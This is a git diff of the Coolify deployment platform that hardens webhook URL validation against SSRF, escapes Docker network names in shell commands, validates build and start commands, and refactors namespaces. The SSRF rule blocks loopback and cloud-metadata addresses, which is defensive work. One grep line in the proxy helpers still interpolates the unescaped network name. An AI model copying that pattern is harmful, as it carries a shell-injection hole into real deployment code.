enable the server again [here](https://app.coolify.io/subscription).", ]; } @@ -57,7 +57,7 @@ public function toPushover(): PushoverMessage return new PushoverMessage( title: 'Server disabled', level: 'error', - message: "Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.
Please update your subscription to enable the server again [here](https://app.coolify.io/subscriptions).", + message: "Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.
Please update your subscription to enable the server again [here](https://app.coolify.io/subscription).", ); } @@ -66,7 +66,7 @@ public function toSlack(): SlackMessage $title = 'Server disabled'; $description = "Server ({$this->server->name}) disabled because it is not paid!\n"; $description .= "All automations and integrations are stopped.\n\n"; - $description .= 'Please update your subscription to enable the server again: https://app.coolify.io/subscriptions'; + $description .= 'Please update your subscription to enable the server again: https://app.coolify.io/subscription'; return new SlackMessage( title: $title, diff --git a/app/Notifications/TransactionalEmails/ResetPassword.php b/app/Notifications/TransactionalEmails/ResetPassword.php index 179c8d948..511818e21 100644 --- a/app/Notifications/TransactionalEmails/ResetPassword.php +++ b/app/Notifications/TransactionalEmails/ResetPassword.php @@ -67,9 +67,12 @@ protected function resetUrl($notifiable) return call_user_func(static::$createUrlCallback, $notifiable, $this->token); } - return url(route('password.reset', [ + $path = route('password.reset', [ 'token' => $this->token, 'email' => $notifiable->getEmailForPasswordReset(), - ], false)); + ], false); + + // Use server-side config (FQDN / public IP) instead of request host + return rtrim(base_url(), '/').$path; } } diff --git a/app/Rules/SafeWebhookUrl.php b/app/Rules/SafeWebhookUrl.php new file mode 100644 index 000000000..fbeb406af --- /dev/null +++ b/app/Rules/SafeWebhookUrl.php @@ -0,0 +1,95 @@ + $attribute, + 'host' => $host, + 'ip' => request()->ip(), + 'user_id' => auth()->id(), + ]); + $fail('The :attribute must not point to localhost or internal hosts.'); + + return; + } + + // Block loopback (127.0.0.0/8) and link-local/metadata (169.254.0.0/16) when IP is provided directly + if (filter_var($host, FILTER_VALIDATE_IP) && ($this->isLoopback($host) || $this->isLinkLocal($host))) { + Log::warning('Webhook URL points to blocked IP range', [ + 'attribute' => $attribute, + 'host' => $host, + 'ip' => request()->ip(), + 'user_id' => auth()->id(), + ]); + $fail('The :attribute must not point to loopback or link-local addresses.'); + + return; + } + } + + private function isLoopback(string $ip): bool + { + // 127.0.0.0/8, 0.0.0.0 + if ($ip === '0.0.0.0' || str_starts_with($ip, '127.')) { + return true; + } + + // IPv6 loopback + $normalized = @inet_pton($ip); + + return $normalized !== false && $normalized === inet_pton('::1'); + } + + private function isLinkLocal(string $ip): bool + { + // 169.254.0.0/16 โ€” covers cloud metadata at 169.254.169.254 + if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { + return false; + } + + $long = ip2long($ip); + + return $long !== false && ($long >> 16) === (ip2long('169.254.0.0') >> 16); + } +} diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 7084b4cc2..cec607f4e 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -58,6 +58,13 @@ class ValidationPatterns */ public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** + * Pattern for Docker network names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + * Matches Docker's network naming rules and prevents shell injection + */ + public const DOCKER_NETWORK_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** * Get validation rules for name fields */ @@ -210,6 +217,44 @@ public static function isValidContainerName(string $name): bool return preg_match(self::CONTAINER_NAME_PATTERN, $name) === 1; } + /** + * Get validation rules for Docker network name fields + */ + public static function dockerNetworkRules(bool $required = true, int $maxLength = 255): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::DOCKER_NETWORK_PATTERN; + + return $rules; + } + + /** + * Get validation messages for Docker network name fields + */ + public static function dockerNetworkMessages(string $field = 'network'): array + { + return [ + "{$field}.regex" => 'The network name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.', + ]; + } + + /** + * Check if a string is a valid Docker network name. + */ + public static function isValidDockerNetwork(string $name): bool + { + return preg_match(self::DOCKER_NETWORK_PATTERN, $name) === 1; + } + /** * Get combined validation messages for both name and description fields */ diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index ec42761f7..c10ed6158 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -95,9 +95,9 @@ function sharedDataApplications() 'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'docker_registry_image_name' => 'string|nullable', 'docker_registry_image_tag' => 'string|nullable', - 'install_command' => 'string|nullable', - 'build_command' => 'string|nullable', - 'start_command' => 'string|nullable', + 'install_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', @@ -144,6 +144,7 @@ function sharedDataApplications() 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', + 'is_preserve_repository_enabled' => 'boolean' ]; } @@ -193,5 +194,6 @@ function removeUnnecessaryFieldsFromRequest(Request $request) $request->offsetUnset('force_domain_override'); $request->offsetUnset('autogenerate_domain'); $request->offsetUnset('is_container_label_escape_enabled'); + $request->offsetUnset('is_preserve_repository_enabled'); $request->offsetUnset('docker_compose_raw'); } diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index c522cd0ca..ceae64d84 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -6,12 +6,13 @@ use App\Jobs\VolumeCloneJob; use App\Models\Application; use App\Models\ApplicationDeploymentQueue; +use App\Models\EnvironmentVariable; use App\Models\Server; use App\Models\StandaloneDocker; use Spatie\Url\Url; use Visus\Cuid2\Cuid2; -function queue_application_deployment(Application $application, string $deployment_uuid, ?int $pull_request_id = 0, string $commit = 'HEAD', bool $force_rebuild = false, bool $is_webhook = false, bool $is_api = false, bool $restart_only = false, ?string $git_type = null, bool $no_questions_asked = false, ?Server $server = null, ?StandaloneDocker $destination = null, bool $only_this_server = false, bool $rollback = false) +function queue_application_deployment(Application $application, string $deployment_uuid, ?int $pull_request_id = 0, string $commit = 'HEAD', bool $force_rebuild = false, bool $is_webhook = false, bool $is_api = false, bool $restart_only = false, ?string $git_type = null, bool $no_questions_asked = false, ?Server $server = null, ?StandaloneDocker $destination = null, bool $only_this_server = false, bool $rollback = false, ?string $docker_registry_image_tag = null) { $application_id = $application->id; $deployment_link = Url::fromString($application->link()."/deployment/{$deployment_uuid}"); @@ -46,6 +47,7 @@ function queue_application_deployment(Application $application, string $deployme $existing_deployment = ApplicationDeploymentQueue::where('application_id', $application_id) ->where('commit', $commit) ->where('pull_request_id', $pull_request_id) + ->where('docker_registry_image_tag', $docker_registry_image_tag) ->whereIn('status', [ApplicationDeploymentStatus::IN_PROGRESS->value, ApplicationDeploymentStatus::QUEUED->value]) ->first(); @@ -71,6 +73,7 @@ function queue_application_deployment(Application $application, string $deployme 'deployment_uuid' => $deployment_uuid, 'deployment_url' => $deployment_url, 'pull_request_id' => $pull_request_id, + 'docker_registry_image_tag' => $docker_registry_image_tag, 'force_rebuild' => $force_rebuild, 'is_webhook' => $is_webhook, 'is_api' => $is_api, @@ -192,7 +195,7 @@ function clone_application(Application $source, $destination, array $overrides = $server = $destination->server; if ($server->team_id !== currentTeam()->id) { - throw new \RuntimeException('Destination does not belong to the current team.'); + throw new RuntimeException('Destination does not belong to the current team.'); } // Prepare name and URL @@ -211,7 +214,7 @@ function clone_application(Application $source, $destination, array $overrides = 'updated_at', 'additional_servers_count', 'additional_networks_count', - ])->fill(array_merge([ + ])->forceFill(array_merge([ 'uuid' => $uuid, 'name' => $name, 'fqdn' => $url, @@ -299,6 +302,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', + 'uuid', ])->fill([ 'name' => $newName, 'resource_id' => $newApplication->id, @@ -322,8 +326,8 @@ function clone_application(Application $source, $destination, array $overrides = destination: $source->destination, no_questions_asked: true ); - } catch (\Exception $e) { - \Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); + } catch (Exception $e) { + Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); } } } @@ -344,7 +348,7 @@ function clone_application(Application $source, $destination, array $overrides = // Clone production environment variables without triggering the created hook $environmentVariables = $source->environment_variables()->get(); foreach ($environmentVariables as $environmentVariable) { - \App\Models\EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) { + EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) { $newEnvironmentVariable = $environmentVariable->replicate([ 'id', 'created_at', @@ -361,7 +365,7 @@ function clone_application(Application $source, $destination, array $overrides = // Clone preview environment variables $previewEnvironmentVariables = $source->environment_variables_preview()->get(); foreach ($previewEnvironmentVariables as $previewEnvironmentVariable) { - \App\Models\EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) { + EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) { $newPreviewEnvironmentVariable = $previewEnvironmentVariable->replicate([ 'id', 'created_at', diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 4ca693fcb..751851283 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -22,25 +22,25 @@ * * @param string $composeYaml The raw Docker Compose YAML content * - * @throws \Exception If the compose file contains command injection attempts + * @throws Exception If the compose file contains command injection attempts */ function validateDockerComposeForInjection(string $composeYaml): void { try { $parsed = Yaml::parse($composeYaml); - } catch (\Exception $e) { - throw new \Exception('Invalid YAML format: '.$e->getMessage(), 0, $e); + } catch (Exception $e) { + throw new Exception('Invalid YAML format: '.$e->getMessage(), 0, $e); } if (! is_array($parsed) || ! isset($parsed['services']) || ! is_array($parsed['services'])) { - throw new \Exception('Docker Compose file must contain a "services" section'); + throw new Exception('Docker Compose file must contain a "services" section'); } // Validate service names foreach ($parsed['services'] as $serviceName => $serviceConfig) { try { validateShellSafePath($serviceName, 'service name'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker Compose service name: '.$e->getMessage(). ' Service names must not contain shell metacharacters.', 0, @@ -68,8 +68,8 @@ function validateDockerComposeForInjection(string $composeYaml): void if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) { try { validateShellSafePath($source, 'volume source'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.', 0, @@ -84,8 +84,8 @@ function validateDockerComposeForInjection(string $composeYaml): void if (is_string($target)) { try { validateShellSafePath($target, 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.', 0, @@ -105,7 +105,7 @@ function validateDockerComposeForInjection(string $composeYaml): void * * @param string $volumeString The volume string to validate * - * @throws \Exception If the volume string contains command injection attempts + * @throws Exception If the volume string contains command injection attempts */ function validateVolumeStringForInjection(string $volumeString): void { @@ -325,9 +325,9 @@ function parseDockerVolumeString(string $volumeString): array if (! $isSimpleEnvVar && ! $isEnvVarWithPath) { try { validateShellSafePath($sourceStr, 'volume source'); - } catch (\Exception $e) { + } catch (Exception $e) { // Re-throw with more context about the volume string - throw new \Exception( + throw new Exception( 'Invalid Docker volume definition: '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -343,8 +343,8 @@ function parseDockerVolumeString(string $volumeString): array // Still, defense in depth is important try { validateShellSafePath($targetStr, 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition: '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -375,7 +375,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int try { $yaml = Yaml::parse($compose); - } catch (\Exception) { + } catch (Exception) { return collect([]); } $services = data_get($yaml, 'services', collect([])); @@ -409,8 +409,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int // Validate service name for command injection try { validateShellSafePath($serviceName, 'service name'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker Compose service name: '.$e->getMessage(). ' Service names must not contain shell metacharacters.' ); @@ -465,7 +465,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $fqdn = generateFqdn(server: $server, random: "$uuid", parserVersion: $resource->compose_parsing_version); } - if ($value && get_class($value) === \Illuminate\Support\Stringable::class && $value->startsWith('/')) { + if ($value && get_class($value) === Illuminate\Support\Stringable::class && $value->startsWith('/')) { $path = $value->value(); if ($path !== '/') { $fqdn = "$fqdn$path"; @@ -738,8 +738,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) { try { validateShellSafePath($sourceValue, 'volume source'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -749,8 +749,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if ($target !== null && ! empty($target->value())) { try { validateShellSafePath($target->value(), 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -1489,7 +1489,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } } $resource->docker_compose_raw = Yaml::dump($originalYaml, 10, 2); - } catch (\Exception $e) { + } catch (Exception $e) { // If parsing fails, keep the original docker_compose_raw unchanged ray('Failed to update docker_compose_raw in applicationParser: '.$e->getMessage()); } @@ -1519,7 +1519,7 @@ function serviceParser(Service $resource): Collection try { $yaml = Yaml::parse($compose); - } catch (\Exception) { + } catch (Exception) { return collect([]); } $services = data_get($yaml, 'services', collect([])); @@ -1566,8 +1566,8 @@ function serviceParser(Service $resource): Collection // Validate service name for command injection try { validateShellSafePath($serviceName, 'service name'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker Compose service name: '.$e->getMessage(). ' Service names must not contain shell metacharacters.' ); @@ -1593,20 +1593,25 @@ function serviceParser(Service $resource): Collection // Use image detection for non-migrated services $isDatabase = isDatabaseImage($image, $service); if ($isDatabase) { - $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first(); - if ($applicationFound) { - $savedService = $applicationFound; + $databaseFound = ServiceDatabase::where('name', $serviceName)->where('service_id', $resource->id)->first(); + if ($databaseFound) { + $savedService = $databaseFound; } else { - $savedService = ServiceDatabase::firstOrCreate([ + $savedService = ServiceDatabase::forceCreate([ 'name' => $serviceName, 'service_id' => $resource->id, ]); } } else { - $savedService = ServiceApplication::firstOrCreate([ - 'name' => $serviceName, - 'service_id' => $resource->id, - ]); + $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first(); + if ($applicationFound) { + $savedService = $applicationFound; + } else { + $savedService = ServiceApplication::forceCreate([ + 'name' => $serviceName, + 'service_id' => $resource->id, + ]); + } } } // Update image if it changed @@ -1772,7 +1777,7 @@ function serviceParser(Service $resource): Collection // Strip scheme for environment variable values $fqdnValueForEnv = str($fqdn)->after('://')->value(); - if ($value && get_class($value) === \Illuminate\Support\Stringable::class && $value->startsWith('/')) { + if ($value && get_class($value) === Illuminate\Support\Stringable::class && $value->startsWith('/')) { $path = $value->value(); if ($path !== '/') { // Only add path if it's not already present (prevents duplication on subsequent parse() calls) @@ -2120,8 +2125,8 @@ function serviceParser(Service $resource): Collection if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) { try { validateShellSafePath($sourceValue, 'volume source'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -2131,8 +2136,8 @@ function serviceParser(Service $resource): Collection if ($target !== null && ! empty($target->value())) { try { validateShellSafePath($target->value(), 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -2741,7 +2746,7 @@ function serviceParser(Service $resource): Collection } } $resource->docker_compose_raw = Yaml::dump($originalYaml, 10, 2); - } catch (\Exception $e) { + } catch (Exception $e) { // If parsing fails, keep the original docker_compose_raw unchanged ray('Failed to update docker_compose_raw in serviceParser: '.$e->getMessage()); } diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index cf9f648bb..ed18dfe76 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -109,18 +109,20 @@ function connectProxyToNetworks(Server $server) ['networks' => $networks] = collectDockerNetworksByServer($server); if ($server->isSwarm()) { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "docker network ls --format '{{.Name}}' | grep '^$network$' >/dev/null || docker network create --driver overlay --attachable $network >/dev/null", - "docker network connect $network coolify-proxy >/dev/null 2>&1 || true", - "echo 'Successfully connected coolify-proxy to $network network.'", + "docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --driver overlay --attachable {$safe} >/dev/null", + "docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true", + "echo 'Successfully connected coolify-proxy to {$safe} network.'", ]; }); } else { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "docker network ls --format '{{.Name}}' | grep '^$network$' >/dev/null || docker network create --attachable $network >/dev/null", - "docker network connect $network coolify-proxy >/dev/null 2>&1 || true", - "echo 'Successfully connected coolify-proxy to $network network.'", + "docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --attachable {$safe} >/dev/null", + "docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true", + "echo 'Successfully connected coolify-proxy to {$safe} network.'", ]; }); } @@ -141,16 +143,18 @@ function ensureProxyNetworksExist(Server $server) if ($server->isSwarm()) { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network", + "echo 'Ensuring network {$safe} exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable {$safe}", ]; }); } else { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network", + "echo 'Ensuring network {$safe} exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable {$safe}", ]; }); } diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 84472a07e..cd773f6a9 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -16,6 +16,7 @@ use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; +use App\Models\SharedEnvironmentVariable; use App\Models\StandaloneClickhouse; use App\Models\StandaloneDragonfly; use App\Models\StandaloneKeydb; @@ -28,8 +29,10 @@ use App\Models\User; use Carbon\CarbonImmutable; use DanHarrin\LivewireRateLimiting\Exceptions\TooManyRequestsException; +use Illuminate\Database\Eloquent\ModelNotFoundException; use Illuminate\Database\UniqueConstraintViolationException; use Illuminate\Process\Pool; +use Illuminate\Support\Carbon; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Cache; @@ -49,10 +52,14 @@ use Lcobucci\JWT\Signer\Hmac\Sha256; use Lcobucci\JWT\Signer\Key\InMemory; use Lcobucci\JWT\Token\Builder; +use Livewire\Component; +use Nubs\RandomNameGenerator\All; +use Nubs\RandomNameGenerator\Alliteration; use phpseclib3\Crypt\EC; use phpseclib3\Crypt\RSA; use Poliander\Cron\CronExpression; use PurplePixie\PhpDns\DNSQuery; +use PurplePixie\PhpDns\DNSTypes; use Spatie\Url\Url; use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; @@ -116,7 +123,7 @@ function sanitize_string(?string $input = null): ?string * @param string $context Descriptive name for error messages (e.g., 'volume source', 'service name') * @return string The validated input (unchanged if valid) * - * @throws \Exception If dangerous characters are detected + * @throws Exception If dangerous characters are detected */ function validateShellSafePath(string $input, string $context = 'path'): string { @@ -138,7 +145,7 @@ function validateShellSafePath(string $input, string $context = 'path'): string // Check for dangerous characters foreach ($dangerousChars as $char => $description) { if (str_contains($input, $char)) { - throw new \Exception( + throw new Exception( "Invalid {$context}: contains forbidden character '{$char}' ({$description}). ". 'Shell metacharacters are not allowed for security reasons.' ); @@ -160,7 +167,7 @@ function validateShellSafePath(string $input, string $context = 'path'): string * @param string $input The databases_to_backup string * @return string The validated input * - * @throws \Exception If any component contains dangerous characters + * @throws Exception If any component contains dangerous characters */ function validateDatabasesBackupInput(string $input): string { @@ -211,7 +218,7 @@ function validateDatabasesBackupInput(string $input): string * @param string $context Descriptive name for error messages * @return string The validated input (trimmed) * - * @throws \Exception If the input contains disallowed characters + * @throws Exception If the input contains disallowed characters */ function validateGitRef(string $input, string $context = 'git ref'): string { @@ -223,12 +230,12 @@ function validateGitRef(string $input, string $context = 'git ref'): string // Must not start with a hyphen (git flag injection) if (str_starts_with($input, '-')) { - throw new \Exception("Invalid {$context}: must not start with a hyphen."); + throw new Exception("Invalid {$context}: must not start with a hyphen."); } // Allow only alphanumeric characters, dots, hyphens, underscores, and slashes if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/', $input)) { - throw new \Exception("Invalid {$context}: contains disallowed characters. Only alphanumeric characters, dots, hyphens, underscores, and slashes are allowed."); + throw new Exception("Invalid {$context}: contains disallowed characters. Only alphanumeric characters, dots, hyphens, underscores, and slashes are allowed."); } return $input; @@ -282,7 +289,7 @@ function refreshSession(?Team $team = null): void }); session(['currentTeam' => $team]); } -function handleError(?Throwable $error = null, ?Livewire\Component $livewire = null, ?string $customErrorMessage = null) +function handleError(?Throwable $error = null, ?Component $livewire = null, ?string $customErrorMessage = null) { if ($error instanceof TooManyRequestsException) { if (isset($livewire)) { @@ -299,7 +306,7 @@ function handleError(?Throwable $error = null, ?Livewire\Component $livewire = n return 'Duplicate entry found. Please use a different name.'; } - if ($error instanceof \Illuminate\Database\Eloquent\ModelNotFoundException) { + if ($error instanceof ModelNotFoundException) { abort(404); } @@ -329,7 +336,7 @@ function get_latest_sentinel_version(): string $versions = $response->json(); return data_get($versions, 'coolify.sentinel.version'); - } catch (\Throwable) { + } catch (Throwable) { return '0.0.0'; } } @@ -339,7 +346,7 @@ function get_latest_version_of_coolify(): string $versions = get_versions_data(); return data_get($versions, 'coolify.v4.version', '0.0.0'); - } catch (\Throwable $e) { + } catch (Throwable $e) { return '0.0.0'; } @@ -347,9 +354,9 @@ function get_latest_version_of_coolify(): string function generate_random_name(?string $cuid = null): string { - $generator = new \Nubs\RandomNameGenerator\All( + $generator = new All( [ - new \Nubs\RandomNameGenerator\Alliteration, + new Alliteration, ] ); if (is_null($cuid)) { @@ -448,7 +455,7 @@ function getFqdnWithoutPort(string $fqdn) $path = $url->getPath(); return "$scheme://$host$path"; - } catch (\Throwable) { + } catch (Throwable) { return $fqdn; } } @@ -478,13 +485,13 @@ function base_url(bool $withPort = true): string } if ($settings->public_ipv6) { if ($withPort) { - return "http://$settings->public_ipv6:$port"; + return "http://[$settings->public_ipv6]:$port"; } - return "http://$settings->public_ipv6"; + return "http://[$settings->public_ipv6]"; } - return url('/'); + return config('app.url'); } function isSubscribed() @@ -537,21 +544,21 @@ function validate_cron_expression($expression_to_validate): bool * Even if the job runs minutes late, it still catches the missed cron window. * Without a dedupKey, falls back to a simple isDue() check. */ -function shouldRunCronNow(string $frequency, string $timezone, ?string $dedupKey = null, ?\Illuminate\Support\Carbon $executionTime = null): bool +function shouldRunCronNow(string $frequency, string $timezone, ?string $dedupKey = null, ?Carbon $executionTime = null): bool { - $cron = new \Cron\CronExpression($frequency); - $executionTime = ($executionTime ?? \Illuminate\Support\Carbon::now())->copy()->setTimezone($timezone); + $cron = new Cron\CronExpression($frequency); + $executionTime = ($executionTime ?? Carbon::now())->copy()->setTimezone($timezone); if ($dedupKey === null) { return $cron->isDue($executionTime); } - $previousDue = \Illuminate\Support\Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); + $previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); $lastDispatched = Cache::get($dedupKey); $shouldFire = $lastDispatched === null ? $cron->isDue($executionTime) - : $previousDue->gt(\Illuminate\Support\Carbon::parse($lastDispatched)); + : $previousDue->gt(Carbon::parse($lastDispatched)); // Always write: seeds on first miss, refreshes on dispatch. // 30-day static TTL covers all intervals; orphan keys self-clean. @@ -932,7 +939,7 @@ function get_service_templates(bool $force = false): Collection $services = $response->json(); return collect($services); - } catch (\Throwable) { + } catch (Throwable) { $services = File::get(base_path('templates/'.config('constants.services.file_name'))); return collect(json_decode($services))->sortKeys(); @@ -955,7 +962,7 @@ function getResourceByUuid(string $uuid, ?int $teamId = null) } // ServiceDatabase has a different relationship path: service->environment->project->team_id - if ($resource instanceof \App\Models\ServiceDatabase) { + if ($resource instanceof ServiceDatabase) { if ($resource->service?->environment?->project?->team_id === $teamId) { return $resource; } @@ -1081,7 +1088,7 @@ function generateGitManualWebhook($resource, $type) if ($resource->source_id !== 0 && ! is_null($resource->source_id)) { return null; } - if ($resource->getMorphClass() === \App\Models\Application::class) { + if ($resource->getMorphClass() === Application::class) { $baseUrl = base_url(); return Url::fromString($baseUrl)."/webhooks/source/$type/events/manual"; @@ -1102,11 +1109,11 @@ function sanitizeLogsForExport(string $text): string function getTopLevelNetworks(Service|Application $resource) { - if ($resource->getMorphClass() === \App\Models\Service::class) { + if ($resource->getMorphClass() === Service::class) { if ($resource->docker_compose_raw) { try { $yaml = Yaml::parse($resource->docker_compose_raw); - } catch (\Exception $e) { + } catch (Exception $e) { // If the docker-compose.yml file is not valid, we will return the network name as the key $topLevelNetworks = collect([ $resource->uuid => [ @@ -1169,10 +1176,10 @@ function getTopLevelNetworks(Service|Application $resource) return $topLevelNetworks->keys(); } - } elseif ($resource->getMorphClass() === \App\Models\Application::class) { + } elseif ($resource->getMorphClass() === Application::class) { try { $yaml = Yaml::parse($resource->docker_compose_raw); - } catch (\Exception $e) { + } catch (Exception $e) { // If the docker-compose.yml file is not valid, we will return the network name as the key $topLevelNetworks = collect([ $resource->uuid => [ @@ -1479,7 +1486,7 @@ function validateDNSEntry(string $fqdn, Server $server) $ip = $server->ip; } $found_matching_ip = false; - $type = \PurplePixie\PhpDns\DNSTypes::NAME_A; + $type = DNSTypes::NAME_A; foreach ($dns_servers as $dns_server) { try { $query = new DNSQuery($dns_server); @@ -1500,7 +1507,7 @@ function validateDNSEntry(string $fqdn, Server $server) } } } - } catch (\Exception) { + } catch (Exception) { } } @@ -1682,7 +1689,7 @@ function get_public_ips() } InstanceSettings::get()->update(['public_ipv4' => $ipv4]); } - } catch (\Exception $e) { + } catch (Exception $e) { echo "Error: {$e->getMessage()}\n"; } try { @@ -1697,7 +1704,7 @@ function get_public_ips() } InstanceSettings::get()->update(['public_ipv6' => $ipv6]); } - } catch (\Throwable $e) { + } catch (Throwable $e) { echo "Error: {$e->getMessage()}\n"; } } @@ -1795,15 +1802,15 @@ function customApiValidator(Collection|array $item, array $rules) } function parseDockerComposeFile(Service|Application $resource, bool $isNew = false, int $pull_request_id = 0, ?int $preview_id = null) { - if ($resource->getMorphClass() === \App\Models\Service::class) { + if ($resource->getMorphClass() === Service::class) { if ($resource->docker_compose_raw) { // Extract inline comments from raw YAML before Symfony parser discards them $envComments = extractYamlEnvironmentComments($resource->docker_compose_raw); try { $yaml = Yaml::parse($resource->docker_compose_raw); - } catch (\Exception $e) { - throw new \RuntimeException($e->getMessage()); + } catch (Exception $e) { + throw new RuntimeException($e->getMessage()); } $allServices = get_service_templates(); $topLevelVolumes = collect(data_get($yaml, 'volumes', [])); @@ -2567,10 +2574,10 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal } else { return collect([]); } - } elseif ($resource->getMorphClass() === \App\Models\Application::class) { + } elseif ($resource->getMorphClass() === Application::class) { try { $yaml = Yaml::parse($resource->docker_compose_raw); - } catch (\Exception) { + } catch (Exception) { return; } $server = $resource->destination->server; @@ -3332,7 +3339,7 @@ function isAssociativeArray($array) } if (! is_array($array)) { - throw new \InvalidArgumentException('Input must be an array or a Collection.'); + throw new InvalidArgumentException('Input must be an array or a Collection.'); } if ($array === []) { @@ -3448,7 +3455,7 @@ function wireNavigate(): string // Return wire:navigate.hover for SPA navigation with prefetching, or empty string if disabled return ($settings->is_wire_navigate_enabled ?? true) ? 